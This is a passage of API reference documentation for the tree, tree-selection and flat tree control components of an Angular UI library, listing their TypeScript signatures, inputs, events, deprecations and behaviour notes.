    get level(): number;
    get toggleElement(): KbqTreeNodeToggleBaseDirective<T> | undefined;
    get isToggleInDefaultPlace(): boolean;
    checkboxState: KbqPseudoCheckboxState;
    updateCheckboxState: () => void;
    data: T;
    get isExpanded(): boolean;
    /** @deprecated */
    static mostRecentTreeNode: KbqTreeNode<any> | null;
    descendantsAllSelected(): boolean;
    descendantsPartiallySelected(): boolean;
    updateParentsCheckboxState(node: T): void;
    toggle(): void;
    setSelected(selected: boolean): void;
    focus(focusOrigin?: FocusOrigin): void;
    blur(): void;
    select(setFocus?: boolean): void;
    deselect(): void;
    onKeydown($event: any): void;
    selectViaInteraction($event?: KeyboardEvent | MouseEvent): void;
    emitSelectionChangeEvent(): void;
    getHostElement(): HTMLElement;
    markForCheck(): void;
}
```

- `[disabled]`: `boolean` — Whether the option is disabled: through its own input, the tree, or the tree control's `isDisabled`.
- `[selectable]`: `boolean` — Whether the option can be selected by user interaction (click, keyboard, select all).
  A non-selectable option remains focusable, navigable and expandable.
  Programmatic selection (`setSelected`, `select`, value accessor) is not affected.
  Options that are not rendered (e.g. collapsed) are not checked by "select all".
- `[showCheckbox]`: `boolean | undefined` — Whether the option renders a pseudo-checkbox. Falls back to the tree's own mode until bound.
- `[viewValue]`: `string | undefined` — The displayed value used by type-ahead. Falls back to the text of the option.
- `(selectionChange)`: `KbqTreeOptionChange` — Emits whenever the selected state of the option changes.
- `(onSelectionChange)`: `KbqTreeOptionChange` — Deprecated: Use `selectionChange` instead. Will be removed in 22.0.0.
- `onFocus`: `Observable<KbqTreeOptionEvent>` — Emits when the option takes focus.
- `onBlur`: `Observable<KbqTreeOptionEvent>` — Emits when the option loses focus.
- `parentTextElement`: `ElementRef<HTMLElement> | undefined` — Container of the option text, measured by `kbq-title`.
- `tooltipTrigger`: `KbqTooltipTrigger | undefined` — Tooltip trigger projected into the option.
- `dropdownTrigger`: `KbqDropdownTrigger | undefined` — Dropdown trigger projected into the option.
- `level`: `number` — The "select all" row sits above the tree at root depth; `getLevel` has no node to resolve for it.
- `mostRecentTreeNode`: `KbqTreeNode<any> | null` — The most recently created `KbqTreeNode`, across every tree on the page.

  Deprecated: Kept for backwards compatibility only — the tree hands a node its data through
  `KbqTreeBase.registerNode`, which is scoped to the tree that owns the node. Will be removed in 22.0.0.

##### KbqTreeSelection (component)

```ts
@Component({ selector: 'kbq-tree-selection', exportAs: 'kbqTreeSelection' })
class KbqTreeSelection<T = any, K = T> extends KbqTreeBase<T, FlatTreeControl<T, K>> implements ControlValueAccessor {
    readonly ariaLabel = input<string>(undefined, {
        alias: 'aria-label'
    });
    readonly ariaLabelledby = input<string>(undefined, {
        alias: 'aria-labelledby'
    });
    autoSelect = input<boolean | undefined>();
    multiple = input<KbqMultipleInput | undefined>();
    noUnselectLast = input<boolean | undefined>();
    typeAhead = input<boolean>(true);
    readonly selectAllToggle = input<boolean>(false);
    selectAll = model<boolean>(false);
    disabled = input<boolean | undefined>();
    selectAllHandler = input<((event: KeyboardEvent, tree: KbqTreeSelection<T, K>) => void) | undefined>();
    treeControl = input<C>();
    readonly trackBy = input<TrackByFunction<T>>();
    dataSource = input<DataSource<T> | Observable<T[]> | T[] | null | undefined>();
    readonly navigationChange = output<KbqTreeNavigationChange<KbqTreeOption<T>, T, K>>();
    /** @deprecated */
    readonly onSelectAll = output<KbqTreeSelectAllEvent<KbqTreeOption<T>, T, K>>();
    inSelect: boolean;
    renderedOptions: QueryList<KbqTreeOption<T>>;
    keyManager: FocusKeyManager<KbqTreeOption<T>>;
    selectionModel: SelectionModel<T>;
    resetFocusedItemOnBlur: boolean;
    userTabIndex: number | null;
    optionShouldHoldFocusOnBlur: boolean;
    ownsKeyboard: boolean;
    readonly selectAllOption: Signal<KbqTreeOption<T> | undefined>;
    get unorderedOptions(): QueryList<KbqTreeOption<T>>;
    readonly selectionChange: EventEmitter<KbqTreeSelectionChange<KbqTreeOption<T>, T, K>>;
    readonly copyChange: EventEmitter<KbqTreeCopyEvent<KbqTreeOption<T>, T, K>>;
    /** @deprecated */
    readonly onCopy: EventEmitter<KbqTreeCopyEvent<KbqTreeOption<T>, T, K>>;
    get optionFocusChanges(): Observable<KbqTreeOptionEvent>;
    get optionBlurChanges(): Observable<KbqTreeOptionEvent>;
    multipleMode: MultipleMode | null;
    get allOptionsSelected(): boolean;
    get selectAllState(): KbqPseudoCheckboxState;
    get showCheckbox(): boolean;
    get isEmpty(): boolean;
    get nodesCount(): number;
    get nodeOutlet(): KbqTreeNodeOutlet;
    readonly nodeDefs: Signal<readonly KbqTreeNodeDef<T>[]>;
    viewChange: BehaviorSubject<{ start: number; end: number }>;
    get hasSavedState(): boolean;
    initializeForEmbedding(selectionModel: SelectionModel<T>): void;
    focus($event: any): void;
    blur(): void;
    onKeyDown(event: KeyboardEvent): void;
    handleKeydown(event: KeyboardEvent): void;
    selectAllOptions(allowDeselect?: boolean): void;
    copyActiveOption(event: KeyboardEvent): void;
    setStateChildren(option: KbqTreeOption<T>, state: boolean): void;
    saveState(): void;
    clearSavedState(): void;
    getNodeDef(data: T, i: number): KbqTreeNodeDef<T>;
    insertNode(
        nodeData: T,
        index: number,
        viewContainer?: ViewContainerRef,
        parentData?: T
    ): void;
}
```

- `[aria-label]`: `string` — Accessible name of the tree. Set it whenever the tree has no visible label of its own; a tree
  embedded in a `kbq-tree-select` is labelled by the select instead.
- `[aria-labelledby]`: `string` — Id of the element that labels the tree, for when the label is rendered next to it.
- `[autoSelect]`: `boolean | undefined` — Whether clicking a node clears the rest of the selection. Defaults to `true`, and to `false` for
  `multiple="checkbox"`.

  Assigning it — from a template binding or imperatively, as `KbqTreeSelect` does — replaces the
  derived default, so a later `multiple` change leaves the value alone.
- `[multiple]`: `KbqMultipleInput | undefined` — Selection mode of the tree.

  `checkbox` renders a checkbox in every node, `keyboard` selects without one. A bare `multiple` and
  `true` both mean `checkbox`; `single`, `false` and an absent attribute mean single selection. The mode
  can be changed at any time — narrowing it to single selection keeps the first selected node and
  reports the shortened value through the `ControlValueAccessor`.

  A tree rendered inside a `kbq-tree-select` shares its `SelectionModel` with the select, so the
  select decides how many nodes may be selected: switching this input between single and multiple
  selection there throws. Switching between `checkbox` and `keyboard` only changes the presentation
  and is allowed.

  The getter reports whether more than one node can be selected; read `multipleMode` for the mode
  itself.
- `[noUnselectLast]`: `boolean | undefined` — Whether the last selected node can be deselected.
  Derived from the mode until assigned, like `autoSelect`.
- `[typeAhead]`: `boolean` — Whether typing printable characters moves the focus to the next option whose label starts with
  them. On by default.

  Turn it off wherever the tree shares its keystrokes with a text field: an embedder such as
  `KbqTreeSelect` routes everything the user types — the search query included — into this key
  manager, and type-ahead would move the active option out from under the query.
- `[selectAllToggle]`: `boolean` — When `true`, a repeated Ctrl/Cmd+A deselects all options. Off by default (Ctrl+A only selects).
- `[(selectAll)]`: `boolean` — Whether to render the "select all" master checkbox above the nodes. Multiple selection only.

  Enabling it also makes Ctrl/Cmd + A a two-way toggle, so the shortcut and the checkbox never
  disagree (`selectAllToggle` is implied).
- `[disabled]`: `boolean | undefined` — Whether the tree is disabled, bound with `[disabled]` or set by a form control.
- `[selectAllHandler]`: `((event: KeyboardEvent, tree: KbqTreeSelection<T, K>) => void) | undefined` — Function for handling the combination Ctrl + A (select all). By default, the internal handler is used,
  which toggles the selection of all non-disabled, selectable options.
- `[useStateSaving]`: `boolean` — Whether the component remembers its state across reloads and restores it on the next render.
  Defaults to `true`, or to whatever `KBQ_STATE_SAVING_ENABLED` is provided as.
- `[stateSavingKey]`: `string` — The key the state is persisted under. While it is empty the key is derived from where the
  component sits in the document, which moves when the surrounding markup is restructured — an `id`
  on the component or any ancestor pins it just as well as this input does.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `[treeControl]`: `C` — Controls the expanded state and holds the data nodes of the tree.
- `[trackBy]`: `TrackByFunction<T>` — Tracking function that will be used to check the differences in data changes. Used similarly
  to `ngFor` `trackBy` function. Optimize node operations by identifying a node based on its data
  relative to the function to know if a node should be added/removed/moved.
  Accepts a function that takes two parameters, `index` and `item`.

  Views are reused for nodes the function reports as unchanged, which a data source that rebuilds
  its node objects on every emission — a flattener among them — otherwise cannot get.

  Defaults to the `trackBy` of the tree control, read when the tree initializes and when the data source changes.
- `[dataSource]`: `DataSource<T> | Observable<T[]> | T[] | null | undefined` — Provides a stream containing the latest data array to render. Influenced by the tree's
  stream of view window (what dataNodes are currently on screen).
  Data source can be an observable of data array, or a data array to render.
- `(onSelectAll)`: `KbqTreeSelectAllEvent<KbqTreeOption<T>, T, K>` — Deprecated: Use `selectAllChange` instead. Will be removed in 22.0.0.
- `inSelect`: `boolean` — Whether this tree-selection is rendered inside a select panel (enables option
  hover-to-focus). Defaults to detecting a wrapping `KbqFormField`, and is forced to `true`
  by the host `KbqTreeSelect` so hover works even when the tree-select has no form-field
  wrapper (e.g. the filter-bar pipes render the tree-select bare).
- `selectionModel`: `SelectionModel<T>` — Model backing the selection.

  The instance is replaced whenever `multiple` changes the multiplicity, because CDK freezes that
  flag at construction. Subscribe to `selectionChange` rather than to `selectionModel.changed`:
  a subscription taken on the model directly is left behind on the discarded instance.

  `T` is the type of the data nodes, inferred from `[treeControl]` in a template. A query names it:
  `viewChild.required<KbqTreeSelection<Node>>(KbqTreeSelection)`, and a tree whose control has a `trackBy`
  names the key type too: `KbqTreeSelection<Node, string>`.
- `ownsKeyboard`: `boolean` — Whether the tree acts on keyboard input itself. Turned off by an embedding host that owns the
  keyboard, such as `KbqTreeSelect`.
- `selectAllOption`: `Signal<KbqTreeOption<T> | undefined>` — Reference to the built-in "select all" row, rendered only while `selectAll` is on.
- `selectionChange`: `EventEmitter<KbqTreeSelectionChange<KbqTreeOption<T>, T, K>>` — Emits when the selection changes. A stream rather than an `output()`: `KbqTreeSelect` pipes it with rxjs.
- `copyChange`: `EventEmitter<KbqTreeCopyEvent<KbqTreeOption<T>, T, K>>` — Emits when the active option is copied with Ctrl/Cmd + C. Subscribing replaces the built-in
  clipboard handler, so the event has to stay an `EventEmitter`: the decision is made by reading
  `observed`, which `OutputEmitterRef` does not have. A template listener subscribes to it through
  the output below.
- `onCopy`: `EventEmitter<KbqTreeCopyEvent<KbqTreeOption<T>, T, K>>` — Deprecated: Use `copyChange` instead. Will be removed in 22.0.0.
- `optionFocusChanges`: `Observable<KbqTreeOptionEvent>` — Emits when an option of the tree takes focus.
- `optionBlurChanges`: `Observable<KbqTreeOptionEvent>` — Emits when an option of the tree loses focus.
- `multipleMode`: `MultipleMode | null` — Resolved selection mode, or `null` when only one node can be selected.
- `allOptionsSelected`: `boolean` — Whether every node "select all" can act on is selected.
- `selectAllState`: `KbqPseudoCheckboxState` — State of the "select all" master checkbox.
- `nodesCount`: `number` — Number of real, data-backed nodes currently rendered — unlike `renderedOptions.length`, never
  includes the "select all" row, which is appended to `renderedOptions` on its own, later-processed
  reactive pass and would otherwise make a consumer's own node count race against that pass.
- `nodeOutlet`: `KbqTreeNodeOutlet` — Outlet within the tree's template where the data nodes are inserted.
- `nodeDefs`: `Signal<readonly KbqTreeNodeDef<T>[]>` — The tree node template for the tree
- `viewChange`: `BehaviorSubject<{ start: number; end: number }>` — Stream containing the latest information on what rows are being displayed on screen.
  Can be used by the data source to as a heuristic of what data should be provided.

  The tree renders every expanded node eagerly, so the window is the whole data set; a data source
  cannot use it to page or virtualize. Windowing would have to emit a real range from a scroll
  listener here first.
- `hasSavedState`: `boolean` — Whether state is currently persisted for this tree — restored on init, or written since.
  Always `false` while `useStateSaving` is unset, and `false` again after `clearSavedState()`.
- `initializeForEmbedding()`: `void` — Rebuilds the tree around a selection model owned by an embedding host, such as `KbqTreeSelect`.

  The host has to take the model over before the tree starts reacting to it, and re-running
  `ngAfterContentInit()` is not a way to do that: neither `unorderedOptions` nor `renderedOptions` is
  ever re-created, so a second run would only leave a second set of subscribers on both — every options
  change handled twice, and the whole option sweep run twice per emission. Only the subscription that
  depends on the model has to move, which is exactly what `bindSelectionModel` does.
- `onKeyDown()`: `void` — Host listener for keyboard input.

  Does nothing while an embedding host owns the keyboard — `KbqTreeSelect` routes every key through
  its own panel handler and calls back into `handleKeydown` for the parts it delegates, so without
  this guard the same event would be acted on twice.
- `handleKeydown()`: `void` — Runs the tree's own keyboard handling, whether or not it owns the keyboard.
- `saveState()`: `void` — Persists the values of the currently expanded nodes.

  Called for every expansion and collapse a user performs. Expansion driven by the application —
  `treeControl.expandAll()`, or writing to `expansionModel` — is not persisted; call this to record it.

  A no-op while a filter is active: what is expanded then is the result set, not a chosen state.
- `clearSavedState()`: `void` — Removes the state persisted for this tree.

  Persistence itself stays on — the next expansion is written again.
- `getNodeDef()`: `KbqTreeNodeDef<T>` — Finds the matching node definition that should be used for this node data. If there is only
  one node definition, it is returned. Otherwise, find the node definition that has a when
  predicate that returns true with the data. If none return true, return the default node
  definition.
- `insertNode()`: `void` — Create the embedded view for the data node template and place it in the correct index location
  within the data node view container.

#### Directives

##### KbqTreeBase (directive)

Rendering core of the tree.

Originally forked from `@angular/cdk/tree` and maintained independently since: the node/outlet
contract, the option-based selection model and the filtering pipeline have all diverged, so
`@angular/cdk/tree` is deliberately not a dependency of this package and upstream fixes have to be
ported by hand.

`C` narrows the tree control a concrete tree accepts, and so the type its `treeControl` binding is checked against.
The bound leaves out `expansionModel` and `trackBy`, the members typed by the control's key, so that it admits
a control of any key type: the model makes a control invariant in that type.

```ts
@Directive()
class KbqTreeBase<T, C extends Omit<TreeControl<T>, 'expansionModel' | 'trackBy'> = TreeControl<T>> implements CollectionViewer {
    treeControl = input<C>();
    readonly trackBy = input<TrackByFunction<T>>();
    dataSource = input<DataSource<T> | Observable<T[]> | T[] | null | undefined>();
    get nodeOutlet(): KbqTreeNodeOutlet;
    readonly nodeDefs: Signal<readonly KbqTreeNodeDef<T>[]>;
    viewChange: BehaviorSubject<{ start: number; end: number }>;
    get hasSavedState(): boolean;
    saveState(): void;
    clearSavedState(): void;
    renderNodeChanges(
        data: T[] | ReadonlyArray<T>,
        dataDiffer?: IterableDiffer<T>,
        viewContainer?: ViewContainerRef,
        parentData?: T
    ): void;
    getNodeDef(data: T, i: number): KbqTreeNodeDef<T>;
    insertNode(
        nodeData: T,
        index: number,
        viewContainer?: ViewContainerRef,
        parentData?: T
    ): void;
}
```

- `[treeControl]`: `C` — Controls the expanded state and holds the data nodes of the tree.
- `[trackBy]`: `TrackByFunction<T>` — Tracking function that will be used to check the differences in data changes. Used similarly
  to `ngFor` `trackBy` function. Optimize node operations by identifying a node based on its data
  relative to the function to know if a node should be added/removed/moved.
  Accepts a function that takes two parameters, `index` and `item`.

  Views are reused for nodes the function reports as unchanged, which a data source that rebuilds
  its node objects on every emission — a flattener among them — otherwise cannot get.

  Defaults to the `trackBy` of the tree control, read when the tree initializes and when the data source changes.
- `[dataSource]`: `DataSource<T> | Observable<T[]> | T[] | null | undefined` — Provides a stream containing the latest data array to render. Influenced by the tree's
  stream of view window (what dataNodes are currently on screen).
  Data source can be an observable of data array, or a data array to render.
- `nodeOutlet`: `KbqTreeNodeOutlet` — Outlet within the tree's template where the data nodes are inserted.
- `nodeDefs`: `Signal<readonly KbqTreeNodeDef<T>[]>` — The tree node template for the tree
- `viewChange`: `BehaviorSubject<{ start: number; end: number }>` — Stream containing the latest information on what rows are being displayed on screen.
  Can be used by the data source to as a heuristic of what data should be provided.

  The tree renders every expanded node eagerly, so the window is the whole data set; a data source
  cannot use it to page or virtualize. Windowing would have to emit a real range from a scroll
  listener here first.
- `hasSavedState`: `boolean` — Whether state is currently persisted for this tree — restored on init, or written since.
  Always `false` while `useStateSaving` is unset, and `false` again after `clearSavedState()`.
- `saveState()`: `void` — Persists the values of the currently expanded nodes.

  Called for every expansion and collapse a user performs. Expansion driven by the application —
  `treeControl.expandAll()`, or writing to `expansionModel` — is not persisted; call this to record it.

  A no-op while a filter is active: what is expanded then is the result set, not a chosen state.
- `clearSavedState()`: `void` — Removes the state persisted for this tree.

  Persistence itself stays on — the next expansion is written again.
- `renderNodeChanges()`: `void` — Check for changes made in the data and render each change (node added/removed/moved).
- `getNodeDef()`: `KbqTreeNodeDef<T>` — Finds the matching node definition that should be used for this node data. If there is only
  one node definition, it is returned. Otherwise, find the node definition that has a when
  predicate that returns true with the data. If none return true, return the default node
  definition.
- `insertNode()`: `void` — Create the embedded view for the data node template and place it in the correct index location
  within the data node view container.

##### KbqTreeNode (directive)

```ts
@Directive({ selector: 'kbq-tree-node', exportAs: 'kbqTreeNode' })
class KbqTreeNode<T> implements IFocusableOption {
    tree: KbqTreeBase<T, TreeControl<T, T>>;
    data: T;
    get isExpanded(): boolean;
    get level(): number;
    /** @deprecated */
    static mostRecentTreeNode: KbqTreeNode<any> | null;
    focus(): void;
}
```

- `mostRecentTreeNode`: `KbqTreeNode<any> | null` — The most recently created `KbqTreeNode`, across every tree on the page.

  Deprecated: Kept for backwards compatibility only — the tree hands a node its data through
  `KbqTreeBase.registerNode`, which is scoped to the tree that owns the node. Will be removed in 22.0.0.

##### KbqTreeNodeDef (directive)

Data node definition for the KbqTree.
Captures the node's template and a when predicate that describes when this node should be used.

```ts
@Directive({ selector: '[kbqTreeNodeDef]' })
class KbqTreeNodeDef<T> {
    readonly data = input<T>(undefined, { alias: 'kbqTreeNode' });
    @Input('kbqTreeNodeDefWhen') when: (index: number, nodeData: T) => boolean;
    template: TemplateRef<any>;
}
```

- `[kbqTreeNodeDefWhen]`: `(index: number, nodeData: T) => boolean` — Function that should return true if this node template should be used for the provided node
  data and index. If left undefined, this node will be considered the default node template to
  use when no other when functions return true for the data.
  For every node, there must be at least one when function that passes or an undefined to
  default.

##### KbqTreeNodeOutlet (directive)

```ts
@Directive({ selector: '[kbqTreeNodeOutlet]' })
class KbqTreeNodeOutlet {
    viewContainer: ViewContainerRef;
}
```

##### KbqTreeNodePadding (directive)

```ts
@Directive({ selector: '[kbqTreeNodePadding]', exportAs: 'kbqTreeNodePadding' })
class KbqTreeNodePadding<T> {
    readonly indent = input<number | string>(12, {
        alias: 'kbqTreeNodePaddingIndent'
    });
    level: number;
    get leftPadding(): number;
    get leftPaddingForFirstLevel(): number;
    get indentUnits(): string;
    withIcon: boolean;
    iconWidth: number;
    paddingIndent(): string | null;
}
```

- `[kbqTreeNodePaddingIndent]`: `number | string` — Indentation added per nesting level. Accepts a bare number (px) or a value with CSS units.
- `indentUnits`: `string` — CSS units used for the indentation value.
- `iconWidth`: `number` — Horizontal room a toggle takes up in a row: its own 16px box plus the option's 8px `gap`. A node
  without a toggle reserves the same amount so its content lines up with a sibling that has one —
  which is why widening the toggle itself pushes every branch row out of line.

##### KbqTreeNodeToggleDirective (directive)

```ts
@Directive({
    selector: '[kbq-tree-node-toggle], [kbqTreeNodeToggle]',
    exportAs: 'kbqTreeNodeToggle'
})
class KbqTreeNodeToggleDirective<T> extends KbqTreeNodeToggleBaseDirective<T> {
    readonly node = input<T>();
    readonly recursive = input<boolean>(false, {
        alias: 'kbqTreeNodeToggleRecursive'
    });
    disabled = input<boolean>(false);
    get iconState(): boolean;
    toggle(event: Event): void;
}
```

- `[kbqTreeNodeToggleRecursive]`: `boolean` — Whether toggling expands or collapses the whole subtree instead of the node alone.

#### Classes

##### BaseTreeControl (abstract class)

Base tree control. It has basic toggle/expand/collapse operations on a single data node.

```ts
abstract class BaseTreeControl<T, K = T> implements TreeControl<T, K> {
    dataNodes: T[];
    expansionModel: SelectionModel<K>;
    trackBy?: (dataNode: T) => K;
    filterModel: SelectionModel<T>;
    /** @deprecated */
    filterValue: BehaviorSubject<T[] | string | null>;
    filterQuery: string | null;
    get hasActiveFilter(): boolean;
    getLevel: (dataNode: T) => number;
    isExpandable: (dataNode: T) => boolean;
    getChildren: (dataNode: T) => Observable<T[]>;
    abstract getDescendants(dataNode: T): T[];
    abstract expandAll(): void;
    toggle(dataNode: T): void;
    expand(dataNode: T): void;
    collapse(dataNode: T): void;
    isExpanded(dataNode: T): boolean;
    toggleDescendants(dataNode: T): void;
    collapseAll(): void;
    expandDescendants(dataNode: T): void;
    collapseDescendants(dataNode: T): void;
    protected expansionKey(dataNode: T): K;
}
```

- `expansionModel`: `SelectionModel<K>` — A selection model with multi-selection to track expansion status: it holds the key of every expanded node.
- `trackBy?`: `(dataNode: T) => K` — Gives the key a data node is expanded by. Without it the node object is its own key, so a node
  rebuilt as a new object — as a flattener does whenever its data changes — comes back collapsed.

  Set it before anything is expanded: keys stored under another function no longer match.
- `filterValue`: `BehaviorSubject<T[] | string | null>` — Stream with the filter query or result. Published for backward compatibility.

  Deprecated: Use `filterQuery` for the query string and `filterModel` for the filter state. Will be removed in 22.0.0.
- `filterQuery`: `string | null` — The query of the active filter, or `null` when no filter is active. Defaults to `null`.
  Set by `FlatTreeControl.applyFilter`; stays `null` on controls without filtering, such as `NestedTreeControl`.
- `hasActiveFilter`: `boolean` — Whether a filter is active: the filter model holds at least one node, or a query is set.
- `getLevel`: `(dataNode: T) => number` — Get depth of a given data node, return the level number. This is for flat tree node.
- `isExpandable`: `(dataNode: T) => boolean` — Whether the data node is expandable. Returns true if expandable.
  This is for flat tree node.
- `getChildren`: `(dataNode: T) => Observable<T[]>` — Gets a stream that emits whenever the given data node's children change.
- `getDescendants()`: `T[]` — Gets a list of descendent data nodes of a subtree rooted at given data node recursively.
- `expandAll()`: `void` — Expands all data nodes in the tree.
- `toggle()`: `void` — Toggles one single data node's expanded/collapsed state.
- `expand()`: `void` — Expands one single data node.
- `collapse()`: `void` — Collapses one single data node.
- `isExpanded()`: `boolean` — Whether a given data node is expanded or not. Returns true if the data node is expanded.
- `toggleDescendants()`: `void` — Toggles a subtree rooted at `node` recursively.
- `collapseAll()`: `void` — Collapse all dataNodes in the tree.
- `expandDescendants()`: `void` — Expands a subtree rooted at given data node recursively.
- `collapseDescendants()`: `void` — Collapses a subtree rooted at given data node recursively.
- `expansionKey()`: `K` — The key `expansionModel` holds for a data node.

##### FilterByValues (class)

```ts
class FilterByValues<T, K = T> implements FlatTreeControlFilter<T> {
    result: T[];
    setValues: (values: string[]) => void;
    constructor(control: FlatTreeControl<T, K>);
    handle(_: any, prevFilter?: FlatTreeControlFilter<T>): T[];
    getValues(): string[];
}
```

##### FlatTreeControl (class)

Flat tree control. Able to expand/collapse a subtree recursively for flattened tree.

```ts
class FlatTreeControl<T, K = T> extends BaseTreeControl<T, K> {
    expandedItemsBeforeFiltration: K[];
    getLevel: (dataNode: T) => number;
    isExpandable: (dataNode: T) => boolean;
    getValue: (dataNode: T) => any;
    getViewValue: (dataNode: T) => string;
    compareValues: (firstValue: any, secondValue: any) => boolean;
    compareViewValues: (firstViewValue: any, secondViewValue: any) => boolean;
    isDisabled: (dataNode: T) => boolean;
    dataNodes: T[];
    expansionModel: SelectionModel<K>;
    trackBy?: (dataNode: T) => K;
    filterModel: SelectionModel<T>;
    /** @deprecated */
    filterValue: BehaviorSubject<T[] | string | null>;
    filterQuery: string | null;
    get hasActiveFilter(): boolean;
    getChildren: (dataNode: T) => Observable<T[]>;
    constructor(
        getLevel: (dataNode: T) => number,
        isExpandable: (dataNode: T) => boolean,
        getValue: (dataNode: T) => any,
        getViewValue: (dataNode: T) => string,
        compareValues?: (firstValue: any, secondValue: any) => boolean,
        compareViewValues?: (firstViewValue: any, secondViewValue: any) => boolean,
        isDisabled?: (dataNode: T) => boolean,
        options?: KbqTreeControlOptions<T, K>
    );
    getFilters(): FlatTreeControlFilter<T>[];
    setFilters(...filters: FlatTreeControlFilter<T>[]): void;
    getDescendants(dataNode: T): T[];
    expandAll(): void;
    getParents(node: T, result?: T[]): T[];
    hasValue(value: string): T | undefined;
    applyFilter(value?: string | null): void;
    resetFilter(): void;
    /** @deprecated */
    filterNodes(value?: string | null): void;
    toggle(dataNode: T): void;
    expand(dataNode: T): void;
    collapse(dataNode: T): void;
    isExpanded(dataNode: T): boolean;
    toggleDescendants(dataNode: T): void;
    collapseAll(): void;
    expandDescendants(dataNode: T): void;
    collapseDescendants(dataNode: T): void;
    protected expansionKey(dataNode: T): K;
}
```

- `getValue`: `(dataNode: T) => any` — getValue will be used to determine if the tree contains value or not. Used in method hasValue
- `getViewValue`: `(dataNode: T) => string` — getViewValue will be used for filter nodes. Returned value will be first argument in filterNodesFunction
- `compareValues`: `(firstValue: any, secondValue: any) => boolean` — compareValues will be used to comparing values.
- `compareViewValues`: `(firstViewValue: any, secondViewValue: any) => boolean` — compareValues will be used to comparing values.
- `isDisabled`: `(dataNode: T) => boolean` — isDisabled will be used to determine if the node is disabled.
- `expansionModel`: `SelectionModel<K>` — A selection model with multi-selection to track expansion status: it holds the key of every expanded node.
- `trackBy?`: `(dataNode: T) => K` — Gives the key a data node is expanded by. Without it the node object is its own key, so a node
  rebuilt as a new object — as a flattener does whenever its data changes — comes back collapsed.

  Set it before anything is expanded: keys stored under another function no longer match.
- `filterValue`: `BehaviorSubject<T[] | string | null>` — Stream with the filter query or result. Published for backward compatibility.

  Deprecated: Use `filterQuery` for the query string and `filterModel` for the filter state. Will be removed in 22.0.0.
- `filterQuery`: `string | null` — The query of the active filter, or `null` when no filter is active. Defaults to `null`.
  Set by `FlatTreeControl.applyFilter`; stays `null` on controls without filtering, such as `NestedTreeControl`.
- `hasActiveFilter`: `boolean` — Whether a filter is active: the filter model holds at least one node, or a query is set.
- `getChildren`: `(dataNode: T) => Observable<T[]>` — Gets a stream that emits whenever the given data node's children change.
- `constructor()` — Construct with flat tree data node functions getLevel, isExpandable, getValue and getViewValue.
  - `getValue`: `(dataNode: T) => any` — getValue will be used to determine if the tree contains value or not. Used in method hasValue
  - `getViewValue`: `(dataNode: T) => string` — getViewValue will be used for filter nodes. Returned value will be first argument in filterNodesFunction
  - `compareValues`: `(firstValue: any, secondValue: any) => boolean` — compareValues will be used to comparing values.
  - `compareViewValues`: `(firstViewValue: any, secondViewValue: any) => boolean` — compareValues will be used to comparing values.
  - `isDisabled`: `(dataNode: T) => boolean` — isDisabled will be used to determine if the node is disabled.
  - `options`: `KbqTreeControlOptions<T, K> | undefined` — Further options: the `trackBy` the nodes are expanded by.
- `getDescendants()`: `T[]` — Gets a list of the data node's subtree of descendent data nodes.

  To make this working, the `dataNodes` of the TreeControl must be flattened tree nodes
  with correct levels.
- `expandAll()`: `void` — Expands all data nodes in the tree.

  To make this working, the `dataNodes` variable of the TreeControl must be set to all flattened
  data nodes of the tree.
- `getParents()`: `T[]` — Ancestors of a data node, outermost first.

  Derived from `dataNodes` rather than from a `parent` back-reference: the flattened nodes are in
  depth-first order, so scanning backwards from the node, the first node of a smaller level is its
  parent, and repeating with that level yields the whole chain. A data node whose shape carries no
  `parent` therefore resolves just as well as one that does.
  - `result`: `T[]` — Collector the ancestors are prepended to. Provided so callers can accumulate into
    an existing array; a fresh one is used when omitted.
- `applyFilter()`: `void` — Filters nodes by a query and expands the ancestors of every match. An empty string resets the filter.
- `resetFilter()`: `void` — Clears the active filter and restores the expansion state saved before filtering.
- `filterNodes()`: `void` — Filters nodes by a query and expands the ancestors of every match.

  Deprecated: Use `applyFilter` instead. Will be removed in 22.0.0.
- `toggle()`: `void` — Toggles one single data node's expanded/collapsed state.
- `expand()`: `void` — Expands one single data node.
- `collapse()`: `void` — Collapses one single data node.
- `isExpanded()`: `boolean` — Whether a given data node is expanded or not. Returns true if the data node is expanded.
- `toggleDescendants()`: `void` — Toggles a subtree rooted at `node` recursively.
- `collapseAll()`: `void` — Collapse all dataNodes in the tree.
- `expandDescendants()`: `void` — Expands a subtree rooted at given data node recursively.
- `collapseDescendants()`: `void` — Collapses a subtree rooted at given data node recursively.
- `expansionKey()`: `K` — The key `expansionModel` holds for a data node.

##### KbqTreeCopyEvent (class)

Event class that occurs when copying an item from the KbqTreeSelection.
Used to pass data about the copied item and copy context.

```ts
class KbqTreeCopyEvent<T, N = any, K = N> {
    source: KbqTreeSelection<N, K>;
    option: T;
    event?: KeyboardEvent;
    constructor(
        source: KbqTreeSelection<N, K>,
        option: T,
        event?: KeyboardEvent
    );
}
```

##### KbqTreeFlatDataSource (class)

Data source for flat tree.
The data source need to handle expansion/collapsion of the tree node and change the data feed
to `KbqTree`.
The nested tree nodes of type `T` are flattened through `KbqTreeFlattener`, and converted
to type `F` for `KbqTree` to consume.

```ts
class KbqTreeFlatDataSource<T, F, K = F> extends DataSource<F> {
    flattenedData: BehaviorSubject<F[]>;
    expandedData: BehaviorSubject<F[]>;
    filteredData: BehaviorSubject<F[]>;
    data: T[];
    constructor(
        treeControl: FlatTreeControl<F, K>,
        treeFlattener: KbqTreeFlattener<T, F>,
        initialData?: T[]
    );
    connect(collectionViewer: CollectionViewer): Observable<F[]>;
    filterHandler(): F[];
    expansionHandler(_change: SelectionChange<K>): F[];
    disconnect(): void;
}
```

##### KbqTreeFlattener (class)

Tree flattener to convert a normal type of node to node with children & level information.
Transform nested nodes of type `T` to flattened nodes of type `F`.

For example, the input data of type `T` is nested, and contains its children data:

```ts
SomeNode: {
    key: 'Fruits',
    children: [
        NodeOne: {
            key: 'Apple'
        },
        NodeTwo: {
            key: 'Pear'
        }
    ]
}
```

After flattener flatten the tree, the structure will become

```ts
SomeNode: {
    key: 'Fruits',
    expandable: true,
    level: 1
},
NodeOne: {
    key: 'Apple',
    expandable: false,
    level: 2
},
NodeTwo: {
    key: 'Pear',
    expandable: false,
    level: 2
}
```

and the output flattened type is `F` with additional information.

```ts
class KbqTreeFlattener<T, F> {
    transformFunction: (node: T, level: number, parent: F | null) => F;
    getLevel: (node: F) => number;
    isExpandable: (node: F) => boolean;
    getChildren: (node: T) => T[] | Observable<T[]> | null | undefined;
    constructor(
